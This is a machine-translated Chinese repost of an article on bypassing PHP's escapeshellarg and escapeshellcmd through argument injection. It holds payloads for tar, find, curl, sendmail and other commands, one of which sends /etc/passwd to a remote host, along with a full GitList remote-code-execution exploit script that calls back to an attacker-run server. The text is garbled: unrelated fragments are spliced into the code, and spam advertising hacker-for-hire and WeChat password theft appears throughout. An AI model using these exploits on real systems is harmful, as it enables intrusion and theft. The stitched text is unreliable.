1.保证用户只传递一个参数给指令2.用户不能指定更多的参数一个3.用户不能履行不同的指令
escapeshellcmd1.保证用户只履行一个指令2.用户可以指定不限数量的参数3.用户不能履行不同的指令
让我们用groups
去打印组里每个username成员
$username = 'myuser';system('groups '.$username);=>myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
但是攻击者可以在username里运用;
或许||
在Linux里,这意味着第二个指令可以在之一个之后被履行
$username = 'myuser;id';system('groups '.$username);=>myuser : myuser adm cdrom su printf("Hello, %s!n", name);do dip plugdev lpadmin sambashareuid=33(www-data) gid=33(www-data) groups=33(www-data)
为了避免这一点,我们运用escapeshellcmd
现在攻击者不能答应第2个指令了
$username = 'myuser;id';// escapeshellcmd adds before ;system(escapeshellcmd('groups '.$username));=>(nothing)
为什么会这样?因为php内部工作了这样的指令
$ groups myuser;idgroups: „myuser;id”: no such user
myuser;id
被当成了一个字符串
但是在这种 *** 中,攻击者可以指定更多参数groups
例如,他一次检测多个用户
$username = 'myuser1 myuser2';system('groups '.$username);=>myuser1 : myuser1 adm cdrom sudomyuser2 : myuser2 adm cdrom sudo
假定我们期望答应每个脚本履行仅检查一个用户:
$username = 'myuser1 myuser2';system('groups '.escapeshellarg($username));=>(noting)
为什么会这样?因为现在$username
被视为单个参数:
$ groups 'myuser1 myuser2'groups: "myuser1 myuser2": no such user
已知的绕过/运用
当你想运用这些功用时,你有两个选择:
假设PHP版别非常老,你可以检验一个前史缝隙,不然你需求检验参数注入技能。
参数注入
从上一章可以看到,运用escapeshellcmd / escapeshellarg
时不或许履行第二个指令。
但是我们依然可以将参数传递给之一个指令。
这意味着我们也可以将新选项传递给指令。
运用缝隙的才能取决于政策可履行文件。
您可以在下面找到一些已知可履行文件的列表,其间包括一些或许被乱用的特定选项。
紧缩some_file
到/tmp/sth
$command = '-cf /tmp/sth /some_file';system(escapeshellcmd('tar '.$command));
创立一个空文件/tmp/exploit
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";system(escapeshellcmd('tar '.$command));
FIND在/tmp
目录查找文件some_file
$file = "some_file";system("find /tmp -iname ".escapeshellcmd($file));
打印/etc/passwd
内容
$file = "sth -or -exec cat /etc/passwd ; -quit";system("find /tmp -iname ".escapeshellcmd($file));
Escapeshellcmd和escapeshellarg在这个配备中,我们可以传递第二个参数给函数。
列出/tmp
目录并疏忽sth
文件
$arg = "sth";system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
在/tmp
目录中列出文件并疏忽sth
。运用长列表格式。
$arg = "sth' -l ";// ls --ignore='exploit''' -l ' /tmpsystem(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
例如:WGET,下载example.php
$url = 'http://example.com/example.php';system(escapeshellcmd('wget '.$url));
保存.php
文件到指定目录
$url = '--directory-prefix=/var/www/html http://example.com/example.php';system(escapeshellcmd('wget '.$url));
用.bat履行指令打印somedir
中的文件列表
$dir = "somedir";file_put_contents('out.bat', escapeshellcmd('dir '.$dir));system('out.bat');
而且履行whoami
指令
$dir = "somedir x1a whoami";file_put_contents('out.bat', escapeshellcmd('dir '.$dir));system('out.bat');
SENDMAIL发送mail.txt
到from@sth.com
$from = 'from@sth.com';system("/usr/ *** in/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
打印/etc/passwd
内容
$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';system("/usr/ *** in/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
CURL下载http://example.com内容
$url = 'http://example.com';system(escapeshellcmd('curl '.$url));
发送/etc/passwd
内容到http://example.com
$url = '-F password=@/etc/passwd http://example.com';system(escapeshellcmd('curl '.$url));
你可以得到文件内容,运用如下payload:
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));
MYSQL履行sql句子
$sql = 'SELECT sth FROM table';system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
工作id
指令
$sql = '! id';system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
UNZIP从archive.zip
解压一切*.tmp
文件到/tmp
目录
$zip_name = 'archive.zip';system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));
从archive.zip
解压一切*.tmp
文件到/var/www/html
目录
$zip_name = '-d /var/www/html archive.zip';system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');
假设未设置LANG环境变量,则去除非ASCII字符$filename = 'résumé.pdf';// string(10) "'rsum.pdf'"var_dump(escapeshellarg($filename));setlocale(LC_CTYPE, 'en_US.utf8');//string(14) "'résumé.pdf'" var_dump(escapeshellarg($filename));
经典EXPPHP <= 4.3.6 on Windows – CVE-2004-0542
$find = 'word';system('FIND /C /I '.escapeshellarg($find).' c:where');
一起工作dir
指令.
$find = 'word " c:where || dir || ';system('FIND /C /I '.escapeshellarg($find).' c:where');
PHP 4 <= 4.4.8 and PHP 5 <= 5.2.5 – CVE-2008-2051Shell需求运用GBK,EUC-KR,SJIS等可变宽度字符集的言语环境。
$text = "sth";system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id";system(escapeshellcmd("echo ".$text));
或许
$text1 = 'word';$text2 = 'word2';system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";$text2 = "; id ; #";system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
PHP < 5.4.42, 5.5.x before 5.5.26, 5.6.x before 5.6.10 on Windows – CVE-2015-4642额定传递的第三个参数(—param3)。
$a = 'param1_value';$b = 'param2_value';system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a';$b = 'b -c --param3';system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
PHP 7.x before 7.0.2 – CVE-2016-1904假设将1024mb字符串传递给escapeshellarg,则导致缓冲区溢出escapeshellcmd。
PHP 5.4.x < 5.4.43 / 5.5.x < 5.5.27 / 5.6.x < 5.6.11 on Windows启用EnableDelayedExpansion后,打开一些环境变量。
然后!STH!
工作类似于%STH%
escapeshellarg
不会过滤!
字符EnableDelayedExpansion
以在HKLM或HKCU下的注册表中设置:
[HKEY_CURRENT_USERSoftw0x02 自我躲藏areMicrosoftCommand Processor]"DelayedExpansion"= (REG_DWORD)1=enabled 0=disabled (default)
例如:
// Leak appdata dir value$text = '!APPDATA!';print "echo ".escapeshellarg($text);
PHP < 5.6.18功用定义于ext/standard/exec.c
,工作类似于(escapeshellcmd,eschapeshellarg,shell_exec),疏忽PHP字符串的长度,并用NULL停止作业替代。
echo escapeshellarg("helloworld");=>hello
GitList RCE缝隙运用
文件src/Git/Repository.php
public function searchTree($query, $branch){ if (empty($query)) { return null; } $query = escapeshellarg($query); try { $results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch"); } catch (RuntimeException $e) { return false; }}
简化后
$query = 'sth';system('git grep -i --line-number '.escapeshellarg($query).' *');
当我们检查git grep文档时
--open-files-in-pager[=<pager>]Open the matching files in the pager (not the output of grep). If the pager happens to be "less" or "vi", and the user specified only one pattern, the first file is positioned at the first match automatically.
所以基本上--open-files-in-pager
就像是在-exec
中履行find
.
$query = '--open-files-in-pager=id;';system('git grep -i --line-number '.escapeshellarg($query).' *');
当我们输入这些进控制台
$ git grep -i --line-number '--open-files-in-pager=id;' *uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)id;: 1: id;: README.md: not found
最终的exp:
import requestsfrom BaseHTTPServer import BaseHTTPRequestHandler, HTTPServerimport urlparseimport urllibimport threadingimport timeimport osimport reurl = 'http://192.168.1.1/gitlist/'command = 'id'your_ip = '192.168.1.100'your_port = 8001print "GitList 0.6 Unauthenticated RCE"print "by Kacper Szurek"print "https://security.szurek.pl/"print "REMEMBER TO DISABLE FIREWALL"search_url = Noner = requests.get(url)repos = re.findall(r'/([^/]+)/master/rss', r.text)if len(repos) == 0: print "[-] No repos" os._exit(0)for repo in repos: print 本文将为我们介绍另一个可用于提权的Linux指令,即“xxd”。xxd指令的作用是将给定的标准输入或许文件,做一次十六进制的输出,反之它也可以将十六进制的输出转化为原本的二进制格式。 "[+] Found repo {}".format(repo) r = requests.get("{}{}".format(url, repo)) files = re.findall(r'href="[^"]+blob/master/([^"]+)"', r.text) for file in files: r = requests.get("{}{}/raw/master/{}".format(url, repo, file)) print "[+] Found file {}".format(file) print r.text[0:100] search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1]) breakif not search_url: print "[-] No files in repo" os._exit(0)print "[+] Search using {}".format(search_url)class GetHandler(BaseHTTPRequestHandler): def do_GET(self): parsed_path = urlparse.urlparse(self.path) print "[+] Command response" print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:] self.send_response(200) self.end_headers() self.wfile.write("OK") os._exit(0) def log_message(self, format, *args): returndef exploit_server(): server = HTTPServer((· net group: 获得一个归于特定域组的用户列表your_ip, your_port), GetHandler) server.serve_forever()print "[+] Start server on {}:{}".format(your_ip, your_port)t = threading.Thread(target=exploit_server)t.daemon = Truet.start()print "[+] Server started"r = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents("http://{}:{}/?a=".urlencode(shell_exec("{}")));"'.format(your_ip, your_port, command)})while True: time.sleep(1)
本文翻译自 https://security.szurek.pl/,
免定金黑客:使用/绕过 PHP escapeshellarg/escapeshellcmd函数
该东西不需求设备格外的依托组件,因此它可以直接在一切的类Unix系统上直接工作,其间包括:6、Fabian Wosar-可学习恶意软件分析的底子进程$cfg['AllowArbitraryServer'] = true; //false改为trueroot@mytest:/home/zhouqiaozhouqiao$ docker ps利用/绕过 PHP escapeshellarg/escapeshellcmd函数
免定金黑客VID.sys:虚拟化设备驱动该模块通过在其时用户配备单元下劫持注册表中的特别键,并刺进将在发起Windows fodhelper.exe应用程序时调用的自定义指令来绕过Windows 10 UAC。它将为我们生成另一个关闭UAC的shell。虽然该模块批改了注册表,但它会在调用payload后根除该键。比较之前的模块,该模块对架构系统并无特别要求。假设指定EXE::Custom DLL,则应在单独的进程中发起payload后调用ExitProcess()。然后将其乘以硬编码的数字1751873395,并将其格式化为字符串作为无符号long。在Python中,我们可以运用numpy来标明:20.
政策运用# ./dawgmon -gfA之一节(fastbin_dup_into_stack)免定金黑客
#endifgetpid:获取进程id
接着,关键来了。 Block groups: 5
记住要禁用那些不需求减少服务器侵犯面的服务。假设您在自己的Linux服务器中发现以下遗留服务,请快速删去它们:通过困难的寻找,发现15704,c很顺眼,所以把源代码上传,然后:xp_regread可以用来获取许多有用的信息。 事实上,当作为更低权限登录时,我们可以运用它来获取无法在通过其他 *** 而获得的服务器信息。 例如,PowerUpSQL中的Get-SQLServerInfo函数可以得到一些信息。利用/绕过 PHP escapeshellarg/escapeshellcmd函数
免定金黑客· EMET_Agent.exe · 分组政策文件Xoslab的文件躲藏ElasticSearch 的 API 接口为我们供应了这种或许,其查询回来的 *** ON 格式也非常便于我们进行查询数据的处理。官方供应的 X-PACK 扩展包中便包括了可以供应告警功用的 Watcher 扩展插件。
假设没有连上C&C服务器,Monkey会自行工作上述示例直接构成了严峻的经济丢掉,另一方面,内部欺诈还会构成巨大的潜在个人挟制,如:
没关系,下面就让我们来 *** *** 它,让它用起来更顺手。
免定金黑客留心:建议你运用32位的Python installation编译client.py。默许端口:137(首要用户NetBIOS Name Service;NetBIOS称谓服务)、139(NetBIOS Session Service,首要供应samba服务)
[1][2][3][4]黑客接单网
利用/绕过 PHP escapeshellarg/escapeshellcmd函数4.设置进入企业处理器需求输入暗码
Get-Content .runme.ps1 | PowerShell.exe -noprofile - IN PFLT_INSTANCE Instance,E:> powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1; Invoke-AllChecks}"1.在检验进程中发现,访问aspx程序,假设匿名账户为自定义的账户,则需求给自定义的匿名账户在文件夹C:WindowsMicrosoft.NETFramework64v2.0.50727Temporary ASP.NET Files上的写入权限;但是,假设运用默许的匿名账户,也就是IUSR时,需求给予应用程序池账户在此文件夹上的写入权限。疑问点在于此文件夹到底是需求哪个账户的写入权限,因为选择默许的匿名账户时,即时阻止IUSR在此文件的写入权限,只需应用程序池账户在此文件夹有写权限,相同工作正常?
【故障状况】一台电脑上近期一接入电源就自主开机,有时候无缘无故地就开机了。 【故障剖析与解决】导致这类故障的缘故很有可能有下列几类: (1)最先查验电脑上是不是在BIOS设定里将定时执行开机作用设...
怎么能够查到别人微信记录微信密码?其实就是一个app就能搞定!【黑客徽信:】专业盗取微信密码,开房查询,通话记录查询,查询微信聊天记录,非常靠谱!事实上,摩摩刚出来,上面的活跃用户还多,但随着时间的推...
188网刷信誉平台里的24小时确认的任务,是指24小时后付款,还是马上付款,24小时后评价 新开店小卖家不刷想翻身是非常难的 现在有那种你把账号和钱都给他然后他给你刷 ...
本文导读目录: 1、我的世界怪物学院凋零骷髅开挂时的bgm音乐 2、我的世界怪物学院有几种怪物 3、我的世界:怪物学院里的怪物都拥有什么超能力 4、mc怪物学院人物介绍 我的世界怪物学院...
前段时间在网上看到关于xp系统停止服务的相关新闻,在看我15岁时候接触的98系统到现在的微软Windows 8.2系统,可见微软也在与时俱进。那么我今天给大家盘点一下计算机操作系统发展史。让各位学习计...
不得不承认女性因为生育问题,在职场的发展与男性相比总体偏弱,如此,与其在家庭和上班之间艰难辗转,不如自己开家休闲小店,时间自由,工作轻松,能实现家庭和事业的双丰收。那么有哪些适合女生开的休闲小店呢?...